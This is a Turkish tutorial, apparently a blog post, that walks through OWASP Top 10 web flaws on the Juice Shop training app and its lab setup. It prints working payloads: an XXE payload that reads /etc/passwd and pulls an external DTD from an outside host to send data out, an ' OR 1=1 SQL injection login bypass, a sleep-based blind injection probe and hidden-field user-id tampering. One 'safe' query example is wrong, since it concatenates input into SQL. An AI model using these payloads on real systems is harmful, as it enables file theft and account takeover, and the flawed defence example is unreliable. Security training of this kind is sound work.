Kategori: Top 10 Web App Vulnerability

XSS için 3 temel XSS türünü inceliyoruz.

1. Reflected XSS : Bu XSS türünde yazdığımız javascript kodu doğrudan sayfamızda çalışır. Herhangi bir yerde depolanmaz. Çalıştırdığımız anda etkisini görürüz. Bu tür zaafiyetler cookie çalma gibi amaçlar için kullanılabilir.
2. Stored XSS : Bu türde ise yazdığımız kod veritabanında depolanır ve tekrar çağırılabilir. Örnek olarak bir blogda yazılmış yorum xss şeklinde çalışıyorsa, yorum veritabanında saklandığı için Stored XSS olarak kabul edilir.
3. DOM XSS : DOM manipülasyonu üzerinden çalışır. JS Frameworklerindeki açıklar vs kullanılarak yapılabilir. Örneği şu şekildedir :

Örnek olarak burada url parametresi hash (#) işaretinden sonrasını alıp innerHtml ile bir html elementinin içine basılır. Bu yüzden url parametresine # işaretinden sonra XSS payloadımızı yazdığımızda XSS çalışmasını sağlarız.

 

Engellemek için yapabileceklerimiz şunlardır :

 

Bu zaafiyetde kullanıcıların erişmemesi gereken bir yere erişebilmesi söz konusudur. IDOR gibi zaafiyetler bu kategoriye girer. Birçok farklı yöntemi ve engellemek için birçok farklı yolu vardır. Örnek olarak JWT tokenlerine dikkat edilmeli logout yapıldıktan sonra JWT tokeni işlevsiz kalmalıdır.

Bu zaafiyeti denemek için juice shop’da kullanıcı olarak giriyoruz ve feedback kısmına gidiyoruz. Daha sonra feedback yazdıktan sonra f12 ile formun herhangi bir inputu gizli tutuluyor mu ona bakıyoruz.

Burada hidden bir input bulduk. Bu input kısmından hidden olayını kaldırırsak kullanıcı id’mizin 18 olduğunu görüyoruz. Bu value kısmını da 1 ile değiştirirsek gönderdiğimiz feedback başka bir kullanıcı (muhtemelen id = 1 olan admin ile) ile gönderilmiş oluyor.

Bu saldırıyı XML yardımıyla yapacağız. Sunucuya göndereceğimiz/yükleyeceğimiz XML dosyasının Entity özelliğine payload ekleyerek bu saldırıyı yapıyoruz. Bu saldırıda bir kere başarılı olduğumuzda RCE, Local File Disclosure vs gibi birçok zaafiyete sebep olabilir. Entitiy konusuna bakacak olursak. Öncelikle XML dosyamızı hazırlarken versiyon ve encoding bilgisini verdikten sonra root element belirliyoruz. Daha sonra childları belirliyoruz ve XML hazır oluyor. Ama bu XML’i birden fazla kez kullanacaksak bir tane hazırlamak yerine bunu Entity dediğimiz değişkenleri ve şablon mantığını kullanarak hazırlıyoruz. Ayrıca XML içerisinde özel karakterler ( &, <, >, …) kullanamazken Entity özelliği bize bu imkanı sağlıyor. Örnek Entityli bir XML kodu şu şekildedir :

Burada entity olduğunu bildiğimiz için şöyle bir XML payload hazırlayabiliriz :

<?xml version=”1.0″?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM “file:///etc/passwd”>
<!ENTITY % sp SYSTEM “http://x.x.x.x:8080/ss5.dtd”>
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1; %external;

Daha sonra bunu file upload eklememizi isteyen bir yere yüklüyoruz. Normalde siteler yüklenen dosyalarda entity özelliğini tamamen kapatarak ya da dosyalara uzantı anlamında whitelist oluşturarak bu açıktan korunabilirler. Ama juice shop’da bu kontrol olmadığı için dosyamızı yükleyip requestimizi atıyoruz. Burp ile intercept ettiğimizde ise şöyle bir ekranla karşılaşıyoruz :

Bu işlemin gönderdiğimizde ise sonuç olarak dönen yerde aradığımız dosyaya dair detaylar kesilmiş de olsa bu şekilde karşımıza çıkıyor :

Sitelerin, yüklenecek dosyalara whitelist uygulamaması bile başlı başına bir bulgudur. Bu yüzden bunun üzerine bile gidilebilir.

Burada hassa verileri hedef alıyoruz. Örnek olarak hastane sistemlerini kayıtları birçok önemli veriye sahip olabilir. Bu saldırıları önlemek için hassas veriler public ulaşılabilir bir yerde olmamalı veya en azından şifrelenmiş olmalı.

Bu zaafiyete bir örnek verecek olursak juice shop’da dirbuster çalıştırırsak ftp klasörünü buluruz. site/ftp şeklinde siteye gittiğimizde de burada birçok dosya görüyoruz.

Bu zaafiyet için bir diğer örnek de burp suite ile response değerlerini incelemek. Siteden gelen bütün response değerlerini incelememiz gerekiyor çünkü bunların arasında password veya önemli bir key olabilir.

Bir önemli konu da response headerlarını okumaktır. Bu headerlar bize güvenlik amacıyla alnın önlemlere dair ipuçları verir. Bu ipuçlarından birisi HTST (HTTP Strict Transport Policy) olup olmamasıdır. Bu headerı kullanarak Protocol Downgrade saldırısı yapabiliriz. Bu saldırıyı yaptığımızda bütün şifrelenmiş veriler artık şifresiz halde gelir.

Bir websitesinin headerlerını ve güvenliğini görmek için https://securityheaders.com/ sitesine bakabiliriz. Bir diğer tool da nmap’tir.

nmap –script=ssl-enum-ciphers -p 443 tesla.com

komutuyla bakabiliriz. Burada gelen değer A olursa bu çok iyi demektir. Eğer F olursa bu da kötü bir düzeni var demektir üzerine çalışılabilir.

Bu zaafiyeti kontrol ederken dikkat etmemiz gereken maddeler şunlar :

• Siteye brute force ile saldırı yapabiliyor muyuz? Belli bir denemeden sonra captche vs koyuyor mu?
• Siteye zayıf şifrelerden birisiyle erişebiliyor muyuz? (abc123)
• Username : Admin, Password : Admin gibi default kullanıcılarla siteye giriş yapabiliyor muyuz?
• Reset password için yapılan adımlar yeterli mi?
• Dışarı sızmış kullanıcı adı şifre verileriyle halen giriş yapılabiliyor mu? (admin girişleri vs)
• Birden fazla güvenlik önlemi var mı yoksa başkasının kullanıcı adı ve şifresiyle kolayca giriş yapılıyor mu?
• Kayıt olurken, login ve logout işlemlerinde cookiedeki session idler değişiyor mu yoksa sabit mi? Sabitse giriş ihtimali olabilir.

Örnek olarak juice shop’da test@test.com ve test yazdığımızda şöyle bir ekran geliyor karşımıza :

Bu ekranda yazdığımız mailin mi yoksa şifrenin mi yanlış olduğunu bilmediğimiz için email enumaration yapamıyoruz. Bu yüzden email sistemde kayıtlı mı bilmiyoruz. Ama forgot password kısmında kayıtlı olmayan maillere güvenlik sorularının aktif olmadığını görüyoruz. Böylece bir mailin sistemde kayıtlı olup olmadığını öğrenebilir email enumaration yapabiliriz. Daha sonra da rastgele bir kullanıcı adı şifreyle kayıt olurken isteği inceliyoruz. Görüyoruz ki bir token yok ama giriş yaparken şöyle bir token oluşturuluyor :

Eğer bu token biz logout yaptığımızda değişmezse ve tekrar bu tokenle giriş imkanımız olursa session fixing var demektir bu da bir zaafiyet oluşturur. Broken Authentication dersiyle ilgili diğer yapılabilecekler için juice shop challengelarına bakabiliriz.

Öncelikle en çok kullanılan SQL komutlarına bakalım.

SQL yazılırken bunlarla birlikte bazı özel karakterler de kullanılabilir. O karakterler de şu şekildedir :

Şimdi test etmek istediğimiz juice shop örneğine dönelim. Burada giriş yapmak istiyoruz ve bunun için öncelikle test verileri ekliyoruz. Normalde SQL bu verileri alıp db’de ilgili kayıt var mı diye kontrol ediyor. Örnek olarak :

Input : test

SQL : SELECT * FROM Users Where email = ‘test’;

Şeklinde çalışıyor. Eğer durum böyleyse biz inputa ‘ karakterini eklediğimizde  SQL : SELECT * FROM Users Where email = ‘test’ ‘; Bu şekilde olmalı ve bize bir sunucu hatası dönmeli. Deniyoruz ve :

Böyle bir sonuçla karşılaşıyoruz. Bu bize, bu site için sql injection yapmamıza izin verdiğini gösteriyor. Yani bizim girdilerimiz düzgün bir şekilde kontrol edilip SQL ‘e öyle verilmiyor. Biz inputumuzu şu şekilde değiştirdiğimizde :

INPUT :  ‘ OR 1=1; —

SQL : SELECT * FROM Users Where email = ‘ ‘ OR 1=1; –;

Sql yukarıdaki gibi oluyor. Bu da bizim 1 konumundaki admin kullanıcısıyla giriş yapmamızı sağlıyor. Çünkü OR 1=1 komutu bütün satırı doğru haline getiriyor. SQL injection zaafiyetinin bir versiyonu da Blind SQL injectiondur. Bu yöntemde de doğrudan değer değil tam olarak sonucu gözlemleyemediğimiz bir input veririz. Örnek olarak inputumuz ‘ (sleep 5) şeklinde yaparsak SQL sunucusu bize dönüş yapmadan önce 5 saniye bekleyecektir. Bu şekilde deneyerek de blind sql olup olmadığını görebiliriz.

SQL injectionu savunmak için ise 2 yöntem bulunuyor :

1. Inputu parametre haline getirip SQL e öyle vermek: Örnek olarak burada SQL kodunu yazarken geliştirici doğrudan değeri değil parametreyi verebilir. Güzel bir örnek şu şekilde olabilir : “SELECT * FROM Users WHERE email = ?”; ya da “SELECT * FROM Users WHERE email”‘+email'” ;
2. İkinci yöntem ise gelecek değerin tam olarak kodda ayıklanması ve düzenlenmesidir. Yani beklenen değerde ‘ veya 1=1 gibi ifadelerin bulunması SQL’e gönderilmeden önce engellenir.

Öncelikle OWASP checklist csv indiriyoruz. Bu en yaygın zaafiyetleri bir site üzerinde denememiz için bize bir checklist veriyor. Top 10 zafiyetlere göz atabilir, bunları deneyip basit bir web app pen test yapabiliriz. Daha sonra da olan owasp top 10 pdf versiyonunu indirebiliriz. Pdf versiyonunda zaafiyetler biraz daha derli toplu halde bulunur. Buradan da kolayca hangi zaafiyeti nasıl test edebileceğimizi görebiliriz.

Sonraki aşamada bu dersler için kullanacağımız ortamın kurulumuna geçiyoruz. Öncelikle Kali’ye docker kurmamız gerekiyor. Bu işlem için bu medium makalaesinden faydalanıyoruz. Komutlarımız ve işlemlerimiz şu şekilde olacak.

Docker kurulumunu tamamladıktan sonra OWASP Juice Shop yükleyeceğiz. Github linkinde anlatıldığı gibi docker yardımıyla pull edip yükleyip hazır hale getiriyoruz.

Burada bize bir diğer yardımcı olacak link ise gitbooks. Burasının yardımıyla Juice Shoptaki bütün zaafiyetleri bir eğitim ve test ortamı şeklinde değerlendirebiliriz. Zaafiyetlerin kısa açıklamaları örnek test yöntemleri vs buradan ulaşabiliriz ve öğrenebiliriz. Juice Shop challengeları vs hepsini buradan görebiliriz. Ayrıca Juice Shop herokuya da deploy edebiliriz ama buradaki zaafiyetler çok kısıtlı olacaktır. Makine hazır olduğunda juice shop localhost yardımıyla erişebiliriz. İlk bakacağımız yer ise localhost:3000/#/score-board olacak. Burada bütün challengelar, bunlarla ilgili ipuçları ve nasıl yapılacağına dair çözümler ve eğitimler bulunuyor. Bunları tamamlayıp bilgimizi ve pratiğimizi arttırabiliriz.

Son olarak firefox browsera foxy proxy kuruyoruz. Böylece isteidiğimiz zaman burp için proxy açıp kapatabiliriz kolay bir şekilde. Onun da değerleri HTTP, 127.0.0.1, 8080 olacak şekilde ayarlıyoruz. OWASP için test ortamımız hazırlanmış oluyor.